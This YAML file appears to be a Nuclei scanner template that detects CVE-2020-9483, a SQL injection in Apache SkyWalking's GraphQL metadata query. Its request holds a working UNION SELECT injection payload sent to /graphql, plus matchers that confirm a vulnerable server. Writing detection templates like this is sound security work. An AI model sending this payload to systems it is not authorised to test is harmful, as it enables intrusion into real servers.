39 lines
1.3 KiB
YAML
39 lines
1.3 KiB
YAML
id: CVE-2020-9483
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info:
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name: SkyWalking SQLI
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author: pikpikcu
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severity: high
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description: |
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When use H2/MySQL/TiDB as Apache SkyWalking storage, the metadata query through GraphQL protocol, there is a SQL injection vulnerability, which allows to access unpexcted data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
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reference: https://github.com/apache/skywalking/pull/4639
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tags: cve,cve2020,sqli,skywalking
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requests:
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- method: POST
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path:
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- "{{BaseURL}}/graphql"
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headers:
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Content-Type: application/json
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body: |
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{"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "Content-Type: application/json"
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part: header
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- type: word
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words:
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- "UNION SELECT 1,CONCAT('~','9999999999','~')--"
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- 'Exception while fetching data'
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part: body
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condition: and
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- type: status
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status:
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- 200
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